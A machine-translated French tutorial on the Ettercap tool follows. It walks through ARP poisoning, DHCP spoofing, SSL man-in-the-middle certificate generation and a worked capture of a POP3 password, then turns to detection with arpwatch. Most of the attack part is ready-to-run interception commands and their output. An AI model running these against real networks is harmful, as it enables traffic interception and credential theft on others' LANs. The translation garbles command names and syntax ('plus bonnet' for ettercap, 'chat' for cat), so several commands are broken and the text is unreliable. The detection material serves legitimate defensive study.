Instructions pour Ettercap : attaque de type "man-in-the-middle" (MitM), interception de mot de passe, contournement HSTS, substitution de données à la volée, utilisation de filtres et de plugins personnalisés, accrochage BeEF, infection par porte dérobée. Instructions d'Ettercap : Attaque de l'homme du milieu (

domicile / ordinateurs portables

ettercap NG-0.7.3— Un renifleur/filtre de contenu polyvalent pour les attaques de l'homme au milieu

options de reniflage :

UNIFIÉ renifle tous les paquets qui passent sur le câble. (ip_forwarding dans le noyau est toujours désactivé et le transfert est effectué par ettercap)

NB utiliser ettercap sur les passerelles UNIQUEMENT avec le MODE NON OFFENSIF. n'oubliez pas de réactiver l'ip_forwarding !!

PONTÉ, il utilise deux interfaces réseau et transfère le trafic de l'une à l'autre tout en effectuant le reniflage et le filtrage de contenu.

NB Ne l'utilisez pas sur les passerelles !!!

plus bonnet [OPTIONS] [CIBLE1] [CIBLE2]

CIBLE est sous la forme MAC/IP/PORT

par exemple. "//80" signifie N'IMPORTE QUELLE adresse mac, N'IMPORTE QUELLE IP et UNIQUEMENT le port 80

NB inversez la correspondance de la CIBLE en ajoutant l'option -R

Choix

-M, —mitm Attaque MITM : arp(,) Cette méthode implémente l'attaque mitm d'empoisonnement ARP. ICMP(MAC/IP) Cette attaque implémente la redirection ICMP. Il envoie un message de redirection icmp usurpé aux hôtes du réseau local en prétendant être une meilleure route pour Internet.

Exemple : -M icmp:00:11:22:33:44:55/10.0.0.1(redirigera toutes les connexions qui passent par cette passerelle.)

DHCP(ip_pool/netmask/dns) Cette attaque implémente l'usurpation DHCP. Il prétend être un serveur DHCP et tente de gagner la condition de concurrence avec le vrai pour forcer le client à accepter la réponse de l'attaquant.

M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1 (répondre à l'offre et à la demande DHCP.)

M dhcp:/255.255.255.0/192.168.0.1 (répondre uniquement à la requête DHCP. (n'offrez pas d'adresse IP, mais modifiez uniquement les informations du routeur de la requête/accusé de réception DHCP)

NB Vous devez spécifier un pool d'adresses IP GRATUITES à utiliser.!!!

Port(,) Cette attaque implémente le vol de port. Cette technique est utile pour renifler dans un environnement commuté lorsque l'empoisonnement ARP n'est pas efficace NB : Utilisez cette méthode mitm uniquement sur les commutateurs Ethernet NB Vous ne pouvez PAS utiliser cette méthode en mode uniquement mitm -o, --only-mitm(un autre renifleur pour renifler le trafic) -F, --pcapfilter Définissez un filtre de capture dans la bibliothèque pcap NB ettercap ne pourra pas transférer les paquets piratés. -B, -pont BRIDGED sniffing (l'homme au milieu de la couche physique. C'est totalement furtif) SNIFFING HORS LIGNE -r, --lire -w, --écrivez OPTIONS D'INTERFACE UTILISATEUR -T, -texte -q, -calmer -s, --scénario

ettercap -T -s 'lq' imprimera la liste des hôtes et quittera
ettercap -T -s' s(300)olqq' collectera les infos pendant 5 minutes, imprimera le

liste des profils locaux et sortie

-C, —malédictions -G, -gtk -RÉ, --daemonize OPTIONS GÉNÉRALES -je, -Je fais face -JE, --iflist Cette option imprimera la liste de toutes les interfaces réseau disponibles -n, —masque de réseau -R, -renversé -t, -proto Reniflez uniquement les paquets PROTO (PROTO peut être "tcp", "udp" ou "all" pour les deux) -z, -silencieux Ne pas effectuer l'analyse ARP initiale -p, --nopromisc( Si vous voulez sniffer uniquement vos connexions )
-u, -inoffensif( la responsabilité du transfert ip est laissée au noyau. ) NB utile si vous souhaitez exécuter plusieurs instances d'ettercap. NB ne pourra pas modifier les paquets à la volée NB utile si vous souhaitez exécuter ettercap sur la passerelle -j, --load-hosts -k, --save-hôtes -P, --brancher -F, --filtre -W, --clé WEP ( pour décrypter les paquets WiFi. ) N:T:CLÉ. Où N est la longueur en bits de la clé wep (64, 128 ou 256), T est le type de la chaîne (« s » pour chaîne et « p » pour mot de passe). Exemple:
--wep-key 128:p:secret
--wep-key 128:s:ettercapwep0
--clé-wep '64:s:\x01\x02\x03\x04\x05' -un, --config OPTIONS DE VISUALISATION -e, --regex (Traitez uniquement les paquets qui correspondent à la regex.) -V, -visuel (hexagone,ascii,texte,ebcdic,html,utf8) -ré, —dns Résolvez les adresses IP en noms d'hôte. -E, --ext-en-têtes Imprimer les en-têtes étendus -Q, --super silencieux( N'imprimez pas les utilisateurs et les mots de passe au fur et à mesure qu'ils sont collectés. Stockez-les uniquement dans les profils. ) OPTIONS D'ENREGISTREMENT -L, --Journal Enregistrez tous les paquets dans des fichiers binaires. Ces fichiers peuvent être analysés par etterlog N.-B. créer LOGFILE.ecp (pour les paquets) et LOGFILE.eci (pour les infos). -l, --log infos enregistre uniquement les informations passives + les utilisateurs et les mots de passe pour chaque hôte. Le fichier sera nommé LOGFILE.eci -m, --log-msg Il se stocke dans tous les messages utilisateur imprimés par ettercap. -c, --compresse Compresser le fichier journal avec l'algorithme gzip -o, --only-local Stocke les informations de profils appartenant uniquement aux hôtes LAN. -O, --only-remote OPTIONS STANDARDS -U, --mettre à jour

Exemples

ettercap-Tp Utilisez l'interface de la console et ne mettez pas l'interface en mode promisc. Vous ne verrez que votre trafic. ettercap-Tzq Utilisez l'interface de la console, ne scannez pas ARP sur le net et soyez silencieux. Le contenu du paquet ne sera pas affiché, mais l'utilisateur et les mots de passe, ainsi que d'autres messages, seront affichés. ettercap -T -j /tmp/victimes -M arp /10.0.0.1-7/ /10.0.0.10-20/ Chargera la liste des hôtes à partir de /tmp/victims et effectuera une attaque d'empoisonnement ARP contre les deux cibles. La liste sera jointe à la cible et la liste résultante est utilisée pour l'empoisonnement ARP. ettercap -T -M arp // // Effectuez l'attaque d'empoisonnement ARP contre tous les hôtes du LAN. FAIS ATTENTION!! ettercap -T -M arp:distant /192.168.1.1/ /192.168.1.2-10/ Effectuez l'empoisonnement ARP contre la passerelle et l'hôte dans le réseau local entre 2 et 10. L'option "remote" est nécessaire pour pouvoir renifler le trafic distant que les hôtes effectuent via la passerelle. ettercap -Tzq //110 Reniflez uniquement le protocole pop3 de tous les hôtes. ettercap -Tzq /10.0.0.1/21,22,23 Reniflez les connexions telnet, ftp et ssh vers 10.0.0.1. ettercap -P liste Impressions

la liste de tous les plugins disponibles

Attaque SSL Mitm

Pour régénérer le fichier de certificat :

openssl genrsa -out etter.ssl.crt 1024
openssl req -new -key etter.ssl.crt -out tmp.csr
openssl x509 -req -days 1825 -in tmp.csr -signkey etter.ssl.crt -out tmp.new
chat tmp.nouveau >> etter.ssl.crt
rm -f tmp.nouveau tmp.csr

0) connectez-vous au réseau :)
1.1) cd/tmp
1) #ettercap -G [ --wep-key 128:p:secret]
2) Sniff -> Reniflement unifié (NIC ath0)
3) Démarrer->Démarrer renifler
4) Hôtes -> Rechercher des hôtes
5) Hôtes -> Liste des hôtes
6) choisir et ajouter à target1 et target2
7) Mitm -> empoisonnement arp; renifler la connexion à distance
8) Journalisation -> Journaliser tous les paquets et infos
9) Mitm -> Arrêter l'attaque mitm
10) Démarrer -> Arrêter de renifler

ettercap remplace le vrai certificat ssl par le sien

Cet article vous expliquera comment intercepter le trafic dans réseau localà l'aide d'Ettercap. Utiliser les attaques MITM pour cela (Man In Le milieu attaques - attaques de l'homme du milieu).

- utilitaire open source pour l'analyse de la sécurité réseaux informatiques. Dont le but principal est les attaques MITM (attaques Man In The Middle - attaques comme "l'homme au milieu"). A la capacité de renifler les connexions en direct, de filtrer le contenu à la volée, ainsi que bien d'autres opportunités intéressantes. Prend en charge les attaques de protocole actives et passives et inclut un grand nombre de fonctions pour l'analyse du réseau et de l'hôte.

Suite des informations détaillées, peut être trouvé à

Installer/Configurer Ettercap

Vous pouvez télécharger et installer Ettercap à partir des sources - . Vous pouvez également utiliser la commande suivante :

# apt-get install ettercap-gtk ettercap-common

Trouvez-y ces lignes et décommentez-les :

# si vous utilisez iptables : redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING - i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

# si vous utilisez iptables :

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Une fois toutes les opérations ci-dessus effectuées, exécutez Ettercap. Cependant, pour certains, dont moi, Ettercap ne fonctionnera pas. Des erreurs comme " ENVOYER ERREUR L3“. Pour éviter que de telles erreurs n'apparaissent, utilisez la commande suivante :

# echo "1" > /proc/sys/net/ipv4/ip_forward # cat /proc/sys/net/ipv4/ip_forward 1

# echo "1" > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipv4/ip_forward

Maintenant, tout devrait bien fonctionner et les erreurs ne devraient plus apparaître.

Empoisonnement ARP

Il a déjà été décrit ce que "" est et pourquoi il est nécessaire. Il décrira également comment l'implémenter à l'aide d'Ettercap.

Tout d'abord, regardez l'architecture réseau (voir figure ci-dessous) qui sera utilisée. Ceci est nécessaire pour que vous compreniez bien de quoi et d'où il vient :

Commencer Ettercap :

Une fenêtre d'application apparaîtra devant nous, comme indiqué ci-dessous :

En cliquant sur le bouton renifler-> reniflement unifié. Après cela, sélectionnez l'interface qui est utilisée. je l'ai eth0:

Appuyez sur les boutons dans le menu supérieur hôtesRechercher des hôtes:

Maintenant, cliquez à nouveau hôtesliste d'hôtes. Une fenêtre apparaîtra comme indiqué dans la figure ci-dessous :

Ici, nous devons sélectionner des cibles, c'est-à-dire choisissez une machine qui fera office de « victime » et de passerelle. Comme le montre l'architecture réseau que nous utilisons, une machine avec Adresse IP = 192.168.1.3. Eh bien, comme passerelle Adresse IP = 192.168.1.1. Par conséquent, sélectionnez 192.168.1.3 et appuyez sur le bouton Ajouter à la cible 1. Cliquez maintenant sur 192.168.1.1 et cliquez sur le bouton Ajouter à la cible 2.

Cliquez sur D'ACCORD. Il ne reste plus qu'à courir. Pour cela, cliquez sur le bouton débutCommencez à renifler.

Le reniflement a commencé. Il reste à attendre que l'utilisateur saisisse ses données, par exemple depuis un compte de messagerie.

Le programme a été conçu comme un analyseur de trafic pour les réseaux locaux commutés, mais au fil du temps, il s'est transformé en un outil universel pour intercepter, analyser et enregistrer les paquets réseau. Il peut fonctionner dans des réseaux avec des commutateurs et des concentrateurs et possède de nombreuses propriétés inhabituelles. En particulier, l'analyse tant active que passive d'un grand nombre de protocoles réseau, y compris ceux qui utilisent le cryptage. Il existe des outils pour analyser la topologie du réseau et identifier les systèmes d'exploitation installés.

Pour atteindre ses objectifs, le programme Ettercap utilise 5 diverses méthodes analyse : filtrage IP et MAC, interception ARP et deux variantes de cette dernière - Smart-ARP et Public-ARP.

En mode de filtrage IP, les paquets sont vérifiés par rapport à une combinaison adresse IP/port (expéditeur et destination). En mode de filtrage MAC, les adresses MAC de l'expéditeur et du destinataire sont vérifiées (c'est pratique lors de l'établissement de connexions via une passerelle). En mode ARP-interception, une attaque de type « intermédiaire invisible » est effectuée sur les deux nœuds sélectionnés du réseau commuté. Cela se fait en corrompant délibérément le cache ARP des hôtes, ce qui entraîne la redirection automatique du trafic. Les modes Smart-ARP et Public-ARP sont implémentés de manière similaire, mais leur but est d'intercepter le trafic entre le nœud "victime" et tous les autres nœuds. Dans le premier cas, une liste de nœuds est spécifiée, dans le second, le programme envoie des paquets ARP diffusés.

Fonctionnalités du programme :

  • peut modifier les paquets qui passent (dans les deux sens) ;
  • peut analyser les connexions de protocole SSH1 et HTTPS (même si la connexion est établie via un serveur proxy) ;
  • peut connecter des modules externes ;
  • peut déchiffrer les noms d'utilisateur et les mots de passe pour un grand nombre de protocoles réseau (y compris Telnet, FTP, POP, SSH1, SMB, LDAP, NFS, IMAP4, VNC et bien d'autres) ;
  • peut ajouter et supprimer des packages au sein d'une session ;
  • peut analyser passivement le réseau (sans envoyer de paquets) et détruire les connexions.

Le programme ne nécessite pas de configuration initiale. Vous pouvez définir toutes les options nécessaires dans ligne de commande ou inclure un fichier de configuration externe.

Une fois lancé, le programme envoie une requête ARP pour chaque adresse IP du réseau local. Une liste d'adresses IP possibles est déterminée en analysant ses propres adresse et masque, et à la réception des réponses ARP, une liste d'hôtes fonctionnant sur le réseau est créée. Soyez prudent si le masque de réseau spécifie un réseau de classe B (255.255.0.0), car dans ce cas, le programme sera forcé d'envoyer 65025 requêtes. Leur traitement prendra beaucoup de temps et, de plus, une telle activité peut être rapidement détectée.

Le programme peut être utilisé en deux modes : interactif (graphique) et non interactif. L'interface graphique du programme est basée sur la bibliothèque ncurses. Le mode non interactif est utile si le programme est appelé à partir d'un script pour la collecte de données en arrière-plan.

La syntaxe pour appeler le programme est :

#ettercap[ options][IP-le port de destination][IP-expéditeur :port][MAC de destination][MAC de l'expéditeur]

Options de sélection d'une méthode d'analyse :

-a, --arpsniff Interception ARP

-s, --sniff Filtrage IP

-m, --macsniff Filtrage MAC

Options à usage général :

-N, --simple- mode non interactif.

-z, --silencieux- mode "silencieux" (pas de requêtes ARP en masse au démarrage).

-Oh, -passif- la collecte passive d'informations.

-b, --broadping- utiliser les requêtes ping de diffusion au lieu des requêtes ARP.

-D, --retard<secondes> - définit le délai (en secondes) entre deux réponses ARP.

-Z, --stormdelay<microsecondes> - définit le délai (en microsecondes) entre les requêtes ARP lors de "l'intrusion" initiale dans le réseau.

-S, --usurpation<IPunpec> - Spécifie une fausse adresse IP à utiliser lors de l'analyse du réseau.

-H, --hôtes<IP-arobe1 [,IP-apec2]. . .> - définit les nœuds à analyser au démarrage.

-d, --dontresolve- ne convertissez pas les adresses IP en noms de domaine au démarrage.

-i, --iface<interface> — définit l'interface pour la numérisation.

-n, --netmask<masque> — définit le masque qui définit le réseau à balayer.

-e, --etterconf<dossier> - spécifie le fichier de configuration à partir duquel les options de ligne de commande sont lues.

-t, --linktype- force le programme à vérifier s'il y a un commutateur dans le réseau.

-j, --loadhosts<dossier> - spécifie le fichier à partir duquel la liste des nœuds est chargée.

-k, --savehosts— enregistrer la liste des nœuds dans un fichier.

-v, --version- force le programme à rechercher une version mise à jour d'Ettercap.

-h, --help- sortie d'aide syntaxique.

Options du mode silencieux :

-u, --udp— n'intercepter que les paquets UDP.

-R, --inverse— analyse de toutes les connexions, sauf celle spécifiée sur la ligne de commande.

-Oh, -passif— mode de balayage passif.

-p, --plugin<module> — démarrer un plug-in externe.

-l, --liste— obtenir une liste de tous les nœuds du réseau local.

-C, --collecte- obtenir une liste de tous les comptes hôtes et mots de passe spécifiés sur la ligne de commande.

-f, --empreinte digitale<nouer> - analyse de type système opérateur pour le nœud donné.

-x, --hexview— affichage des données sous forme hexadécimale.

-L, --logtofile- écriture de données dans un fichier journal.

-q, --calme- courir en arrière-plan.

-w, --newcert- Création d'un nouveau fichier de certificat pour une attaque man-in-the-middle sur les sessions HTTPS.

-F, --filtre<dossier> — chargement des règles de filtrage à partir du fichier spécifié.

-c, --vérifier- force le programme à vérifier si quelqu'un d'autre essaie d'intercepter son propre trafic.

Lorsqu'un programme est appelé sans options (plus précisément, sans l'option -N), il démarre en mode interactif. La fenêtre du programme est divisée en trois parties. La partie supérieure affiche un schéma de connexion montrant les deux nœuds en interaction (initialement, cette partie de la fenêtre peut être vide). La partie centrale de la fenêtre liste les hôtes trouvés sur le réseau local. Plus précisément, deux listes identiques sont affichées, à partir desquelles deux nœuds peuvent être sélectionnés pour créer un schéma de connexion. Pour sélectionner un nœud dans la colonne de gauche, placez le curseur dessus et cliquez sur . Puis clique<Таb>pour passer à la colonne de droite et répéter la procédure. En conséquence, un schéma de connexion apparaîtra dans la partie supérieure de la fenêtre et une liste des connexions installées dans la partie centrale sera affichée. ce moment entre deux hôtes, indiquant les ports de l'expéditeur et du destinataire, comme le montre la figure ci-dessous.

En bas de la fenêtre s'affiche Information additionnelle sur les nœuds sélectionnés. Pour une liste des commandes disponibles, cliquez sur , résultant en une fenêtre d'aide.0

Une fois la connexion sous contrôle, vous pouvez commencer à analyser les données. Il est permis de diriger les données interceptées vers un fichier, d'interférer avec le déroulement de la session et d'effectuer de nombreuses autres tâches, y compris la destruction de la session.

Donnons quelques exemples démontrant les caractéristiques du lancement du programme Ettercap. Dans le premier exemple, le programme s'exécute de manière interactive et collecte les données de manière passive.

Usurpation ARP(Empoisonnement ARP) - une technique d'attaque réseau utilisée principalement dans Ethernet, mais également possible dans d'autres réseaux utilisant le protocole ARP, basée sur l'utilisation de failles dans le protocole ARP et vous permettant d'intercepter le trafic entre les nœuds situés dans le même domaine de diffusion.

L'article décrit en détail la technique d'attaque Usurpation ARP, sur l'exemple d'une attaque réalisée à l'aide du programme ettercap ; des méthodes de détection et de prévention des attaques ARP telles que la surveillance de l'activité ARP à l'aide d'arpwatch, l'application de correctifs spéciaux pour immuniser les systèmes, l'utilisation de VLAN et de PPPoE sont envisagées. Il est montré comment résoudre les problèmes directement liés au protocole ARP : rechercher des ordinateurs par une adresse MAC connue et découvrir de nouveaux ordinateurs sur le réseau.

Protocole ARP et attaques l'utilisant

Qu'est-ce que l'ARP et à quoi ça sert ?

Le protocole ARP est conçu pour convertir les adresses IP en adresses MAC. Le plus souvent, nous parlons de conversion en adresses Ethernet, mais ARP est également utilisé dans les réseaux d'autres technologies : Token Ring, FDDI et autres.

Algorithme ARP

Le protocole peut être utilisé dans les cas suivants :

  1. Hôte A veut envoyer un paquet IP nœud B, situé avec lui dans le même réseau ;
  2. Hôte A veut envoyer un paquet IP nœud B qui est avec lui dans différents réseaux et utiliser les services routeur R.

Dans aucun de ces cas nœud A le protocole ARP sera utilisé, uniquement dans le premier cas pour déterminer l'adresse MAC Nœud B, et dans le second - pour déterminer l'adresse MAC routeur R. Dans ce dernier cas, le paquet sera transmis au routeur pour un relais ultérieur.

De plus, pour simplifier, le premier cas est considéré lorsque des informations sont échangées entre des nœuds situés directement dans le même réseau. (Le cas où le paquet est adressé à un hôte derrière le routeur ne diffère que par le fait que les paquets envoyés après la fin de la traduction ARP utilisent l'adresse IP de destination, mais l'adresse MAC du routeur, pas l'adresse MAC de destination.)

Problèmes ARP

Le protocole ARP est complètement non sécurisé. Il n'a aucun moyen d'authentifier les paquets : à la fois les requêtes et les réponses. La situation devient encore plus compliquée lorsque l'ARP gratuit (ARP spontané) peut être utilisé.

ARP spontané- c'est le comportement d'ARP lorsqu'une réponse ARP est envoyée, lorsque cela (du point de vue du destinataire) n'est pas particulièrement nécessaire. Une réponse ARP spontanée est un paquet de réponse ARP envoyé sans demande. Il permet de détecter les conflits d'adresses IP sur le réseau : dès que la station reçoit une adresse via DHCP ou que l'adresse est attribuée manuellement, une réponse ARP ARP gratuite est envoyée.

L'ARP spontané peut être utile dans les cas suivants :

  • Mise à jour des tables ARP, en particulier, dans les systèmes de cluster ;
  • Commutateurs d'information ;
  • Notification d'activation de l'interface réseau.

Bien que l'ARP spontané soit efficace, il est particulièrement peu sûr car il peut être utilisé pour assurer à un hôte distant que l'adresse MAC d'un système sur le même réseau a changé et indiquer quelle adresse est maintenant utilisée.

Usurpation ARP

Avant l'usurpation d'ARP dans la table ARP de l'hôte UN et B il y a des entrées avec les adresses IP et MAC les unes des autres. Les informations sont échangées directement entre les nœuds A et B. (Flèche verte)

Pendant l'usurpation d'ARP un ordinateur C Celui qui effectue l'attaque envoie des réponses ARP (sans recevoir de requêtes) :

  • nœud UN: avec l'adresse IP de l'hôte B et l'adresse MAC de l'hôte C;
  • nœud B: avec l'adresse IP de l'hôte UN et l'adresse MAC de l'hôte C.

Du fait que les ordinateurs prennent en charge l'ARP spontané (ARP gratuit), ils modifient leurs propres tables ARP et placent des entrées là où au lieu des adresses MAC réelles des ordinateurs UN et B est l'adresse MAC de l'ordinateur C. (Flèches rouges)

Une fois l'attaque terminée quand l'ordinateur UN veut envoyer un paquet à un ordinateur B, il trouve une entrée dans la table ARP (elle correspond à l'ordinateur C) et en détermine l'adresse MAC du destinataire. Un paquet envoyé à cette adresse MAC arrive sur l'ordinateur Cà la place du destinataire. Un ordinateur C il relaie ensuite le paquet à qui il est réellement adressé - c'est-à-dire l'ordinateur B. (flèches bleues)

Outils pour l'usurpation d'ARP

Actuellement, il existe plusieurs outils pour effectuer l'usurpation ARP qui fonctionnent à la fois sur les systèmes d'exploitation Linux et Windows.

Le plus connu:

  • Ettercap
  • Caïn et Abel
  • renifler
  • arp-sk

Tous les programmes nommés sont distribués librement.

Effectuer une usurpation d'ARP avec ettercap

[Exemple d'exécution d'une attaque en utilisant ettercap.] Voyons comment effectuer l'attaque ci-dessus en utilisant ettercap.

  • Que se passe-t-il sur la machine A.
  • Que se passe-t-il sur la machine B.
  • Que se passe-t-il sur la machine C.

Examinons de plus près comment l'usurpation d'ARP est effectuée. Nous utiliserons le programme ettercap comme outil, mais d'autres outils pour effectuer un travail d'usurpation ARP de la même manière.

  • Machine A - hôteA - 192.168.15.201 - 00:04:75:75:46:B1
  • Machine B - hôteB - 192.168.15.254 - 00:0A:01:D4:D1:39
  • Machine C - hôteC - 192.168.15.200 - 00:0A:01:D4:D1:E3

L'attaque est menée hôteC vs nœuds hôteA et hôteB.

Installez ettercap de la manière acceptée dans le système :
hostC%# apt-get install ettercap
Effectuez une attaque contre hostA et hostB :
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Les options signifient :

  • -T - utilise l'interface texte (console) ;
  • -M arp - utilise le module ARP-spoofing pour effectuer une attaque ;
  • -L log - écrit le journal d'interception dans des fichiers nommés log.*;

Les arguments sont les adresses IP des machines contre lesquelles vous souhaitez effectuer une attaque d'usurpation ARP.

Supposons, par exemple, qu'à ce moment, le nœud A accède au nœud B en utilisant le protocole POP3, un exemple classique d'un protocole non sécurisé mais très courant - la vérification du courrier.

hôteA %# nc 192.168.15.254 110
UTILISATEUR utilisateur
+OK
Mot de passe PASSE
+OK
LISTE
+OK
.

Les données transmises entre le client hôteA et le serveur hôteB passent par l'hôte C. Elles sont affichées à l'écran et écrites dans des fichiers. Une fois l'attaque terminée, vous devez appuyer sur q pour quitter ettercap. Le programme envoie des paquets ARP pour restaurer les anciennes entrées dans le cache ARP des nœuds afin qu'ils puissent communiquer directement entre eux. Deux fichiers doivent apparaître dans le répertoire courant, en commençant par le mot spécifié après le commutateur -L lors de l'appel plus bonnet:

%# ls log.*
log.eci
log.ecp

Vous pouvez visualiser leur contenu à l'aide du programme etterlog inclus dans le package ettercap :

%# etterlog log.eci
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Version du fichier journal : NG-0.7.3
Horodatage : jeu 21 juin 12:23:11 pm 2007
Saisissez : LOG_INFO
1698 tcp Empreinte du système d'exploitation
7587 empreinte digitale du fournisseur mac
2183 services connus

Adresse IP : 192.168.15.201
Adresse MAC : 00:04:75:75:46:B1
...
FABRICANT : Sohoware
DISTANCE : 0
TYPE : hôte LAN
EMPREINTE DIGITALE:
SYSTÈME D'EXPLOITATION : INCONNU
PORT : TCP 110 | pop-3
COMPTE : utilisateur
/ le mot de passe
(192.168.15.201)
==================================================

Comme vous pouvez le voir, le mot de passe a été intercepté avec succès. Voyons comment la table ARP change sur hostA (attaqué)

Avant l'attaque.

hôteA%# arp -an

Pendant l'attaque.

hôteA%# arp -an
? (192.168.15.254) à 00:0A:01:D4:D1:E3 sur eth0
? (192.168.15.200) à 00:0A:01:D4:D1:E3 sur eth0

Après l'attaque.

hôteA%# arp -an
? (192.168.15.254) à 00:0A:01:D4:D1:39 sur eth0
? (192.168.15.200) à 00:0A:01:D4:D1:E3 sur eth0

Si vous regardez ce qui se passe sur l'interface eth0 de l'ordinateur hostA (par lequel l'attaque est menée), vous pouvez voir que dès que l'attaque commence, des paquets ARP arrivent sur l'interface, ce qui indique que l'adresse MAC de la machine 192.168.15.254 a changé. Les paquets continuent d'arriver. Lorsque l'attaque est terminée, l'adresse MAC du paquet change soudainement pour une autre. Et puis ils ne viennent plus du tout.

%# tcpdump -i eth0 arp
08:34:20.231680 réponse arp 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Inconnu)
08:34:21.259637 réponse arp 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Inconnu)
08: 34: 22.287591 réponse arp 192.168.15.254 est à 00: 0a: 01: d4: d1: e3 (oui inconnu)
08:34:23.315522 réponse arp 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Inconnu)
08: 34: 32.463255 réponse arp 192.168.15.254 est à 00: 0a: 01: d4: d1: 39 (oui inconnu)
08: 34: 33.491040 réponse arp 192.168.15.254 est à 00: 0a: 01: d4: d1: 39 (oui inconnu)
08: 34: 34.514988 réponse arp 192.168.15.254 est à 00: 0a: 01: d4: d1: 39 (oui inconnu)

Cette technique garantit que la table ARP sur les victimes est restaurée et que personne ne remarque l'attaque.

Méthodes de détection

arpwatch

Le programme arpwatch surveille toutes les activités ARP sur les interfaces spécifiées. Lorsqu'il constate des anomalies, comme changer l'adresse MAC tout en conservant l'adresse IP, ou inversement, il le signale au syslog.

Installer et configurer arpwatch

Considérons la procédure d'installation et de configuration d'arpwatch à l'aide d'un exemple Systèmes Debian GNU/Linux. L'installation d'arpwatch se fait de manière traditionnelle pour la distribution :

%# apt-get install arpwatch
0 mis à jour, 1 nouvellement installé, 0 à supprimer et 0 non mis à jour.
Besoin d'obtenir 124 Ko d'archives.
Après le déballage, 389 Ko d'espace disque supplémentaire seront utilisés.
Obtenez :1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2
Récupéré 124kB en 0s (177kB/s)
Sélection du package arpwatch précédemment désélectionné.
(Lecture de la base de données... 22406 fichiers et répertoires actuellement installés.)
Déballage d'arpwatch (depuis .../arpwatch_2.1a13-2_i386.deb) ...
Configuration de l'arpwatch (2.1a13-2) ...
Démarrage du démon de surveillance de station Ethernet/FDDI : (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

Une fois le démon installé, il démarre automatiquement. (Sur d'autres systèmes, il peut être nécessaire de le démarrer manuellement.)

%# ps aux | grep arpwatch
arpwatch 4810 0,5 0,4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
racine 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch

Le démon n'a aucun fichier de configuration. La configuration d'arpwatch est entièrement déterminée par le jeu de clés qui lui est transmis. Sous Debian GNU/Linux, les clés sont spécifiées dans le fichier de configuration /etc/default/arpwatch (sous FreeBSD, dans le fichier /etc/rc.conf). Si vous avez besoin de changer la configuration d'arpwatch (en particulier, le faire écouter sur d'autres interfaces), vous devez éditer fichier spécifié:

%#vi /etc/default/arpwatch
%# chat /etc/default/arpwatch
# Options globales pour arpwatch(8).
# Debian : ne signalez pas les bogons, n'utilisez pas PROMISC.
ARGS="-N -p"
# Debian : exécuter en tant qu'utilisateur "arpwatch". Videz-le pour l'exécuter en tant que root.
RUNAS="arpwatch"

Si la configuration a été modifiée, le démon doit être redémarré :

%# /etc/init.d/arpwatch redémarrage

Lorsque le démon démarre, il découvre de nouvelles stations. Aucune action active n'est entreprise - juste en écoutant le trafic ARP. Les nœuds découverts sont mémorisés ; arpwatch signale dans syslog qu'un nouveau nœud a été découvert. Le démon signale également toutes les anomalies de fonctionnement du protocole ARP dans le syslog :

# tail -f /var/log/daemon.log
21 juin 08:37:08 [courriel protégé] arpwatch : nouvelle station 192.168.15.200 0:a:1:d4:d1:e3 eth0
21 juin 08:37:08 [courriel protégé] arpwatch : nouvelle station 192.168.15.201 0:4:75:75:46:b1 eth0
21 juin 08:37:09 [courriel protégé] arpwatch : nouvelle station 192.168.15.254 0:a:1:d4:d1:39 eth0
21 juin 08:37:09 [courriel protégé] arpwatch : modification de l'adresse Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 juin 08:37:11 [courriel protégé] arpwatch : incompatibilité Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 juin 08:37:12 [courriel protégé] arpwatch : incompatibilité Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 juin 08:37:13 [courriel protégé] arpwatch : incompatibilité Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

Remarquez la ligne

21 juin 08:37:09 [courriel protégé] arpwatch : modification de l'adresse Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

qui signale que l'hôte 192.168.15.254 a changé son adresse MAC.

Cela signifie probablement que l'hôte exécutant arpwatch est usurpé par ARP afin d'intercepter le trafic qu'il échange avec l'hôte 192.168.15.254.

Découverte d'un hôte faisant du spoofing ARP

Si le commutateur est géré, vous pouvez déterminer lequel de ses ports exécute un nœud qui a une adresse MAC spécifique.

Par exemple, cela peut être fait en utilisant le script mac2port. Le script communique avec le commutateur via SNMP et interroge sa table de mappage adresse MAC-port. Les informations reçues sont émises sous une forme consultable sur le flux de sortie standard. Pour faciliter l'utilisation, le script génère des adresses MAC dans le même format que arpwatch.

Conditions d'utilisation du script :

  • le script doit être placé dans le répertoire /usr/local/bin, ou un autre répertoire spécifié dans le PATH ;
  • le script doit être exécutable (chown +x mac2port) ou appelé avec un interpréteur perl ;
  • le corps du script doit contenir l'adresse IP du switch et sa communauté RO SNMP ;
  • le commutateur doit prendre en charge SNMP version 2 ; le support doit être activé (il n'est pas difficile de réécrire le script vers le protocole SNMPv3 plus sécurisé, mais cette version ne fonctionne qu'avec SNMPv2).

Un exemple d'utilisation du script :
%# ./mac2port
0:4:76:a1:ef:bb -> 1
0:a:1:d4:d1:e3 -> 2
0:15:60:79:8e:c0 -> 0
0:4:75:75:46:b1 -> 3
0:a:1:d4:d1:39 -> 44

Si une attaque a été précédemment détectée à l'aide d'arpwatch :

%# chat /var/log/daemon.log | grep "modification de l'adresse Ethernet"
